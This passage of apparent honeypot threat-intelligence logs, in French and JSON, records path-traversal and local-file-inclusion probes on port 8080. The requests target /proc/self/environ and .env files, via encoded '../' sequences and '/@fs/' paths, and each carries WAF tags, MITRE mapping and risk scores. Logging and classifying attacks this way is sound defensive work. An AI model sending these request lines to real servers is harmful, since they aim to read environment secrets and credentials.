"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ",
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fproc\/self\/environ HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/root/.env
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/root/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/root/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/root/.env
Pourquoi cette classification : Sonde fichier sensible: fichier configuration · Règle WAF « lfi-14 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-config-leak
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/root/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/root/.env?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
Requête brute (extrait)
GET /@fs/root/.env?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "3a1084abafb4b8bb1cd6e01902f586b602a2baef",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 217,
"payload_entropy": 5.3859172190656865,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "598a8ce9e4c6d7b42caeca535e3467b6e5057bba",
"event_fingerprint": "885ee678684f499fadcd978fdcade28516b52bec",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 215,
"precision_signals": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "b5622467360153840b8418abdc88745a",
"path_pattern_hash": "eb2ef0f6d043d82be3f856c74acce5f5"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWe",
"method": "GET",
"path": "\/@fs\/root\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWe",
"evidence": {
"method": "GET",
"path": "\/@fs\/root\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWe",
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ba818b10ed2ab2d799388f8f536287306bdb71b8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.env",
"request_line": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWe",
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier configuration \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"SIGMA-web-config-leak",
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"SIGMA-web-config-leak",
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.env",
"request_line": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.env",
"evidence_snippet": "GET \/@fs\/root\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWe",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/proc/self/environ
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/proc/self/environ UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950264:lfi-1
950316:lfi-14
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/@fs/proc/self/environ
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/proc/self/environ
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0714
pat-0140
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930140 proc self
LFI path /proc/self/environ
Ligne de requête
GET /@fs/proc/self/environ?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-1
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/proc/self/environ?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Requête brute (extrait)
GET /@fs/proc/self/environ?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 4,
"http_path_ext": null,
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "75ef8f251e7c8bcb681d81cdadc7b2a59bfc0fea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 225,
"payload_entropy": 5.383374318149744,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1218c43d34844ed3728aec61e096a877a1529cb9",
"event_fingerprint": "575e4f75e5c2e6ffa5bba1487aafe93a302932ad",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0714",
"pat-0140",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0714",
"pat-0140",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0714",
"pat-0140"
],
"matched_pattern_names": [
"CRS 930140 proc self",
"LFI path \/proc\/self\/environ"
],
"pattern_ids": [
"pat-0714",
"pat-0140"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "5dfb0a867dd887d242a5c34723f6ab52",
"path_pattern_hash": "5a611002e414b7178d1b509467a17839"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)",
"method": "GET",
"path": "\/@fs\/proc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)",
"evidence": {
"method": "GET",
"path": "\/@fs\/proc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "eccf5aebf524a72668da61fa80b785a46ac714ee",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/proc\/self\/environ",
"request_line": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/proc\/self\/environ",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0714",
"pat-0140",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0714",
"pat-0140",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/proc\/self\/environ",
"request_line": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/proc\/self\/environ",
"evidence_snippet": "GET \/@fs\/proc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/.env
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/.env
Pourquoi cette classification : Sonde fichier sensible: fichier configuration · Règle WAF « lfi-14 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
SIGMA-web-config-leak
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/.env?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
Requête brute (extrait)
GET /@fs/.env?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 2,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "f68db241958150ca47829b067f0c41892edd23d1",
"http_referer_hash": null,
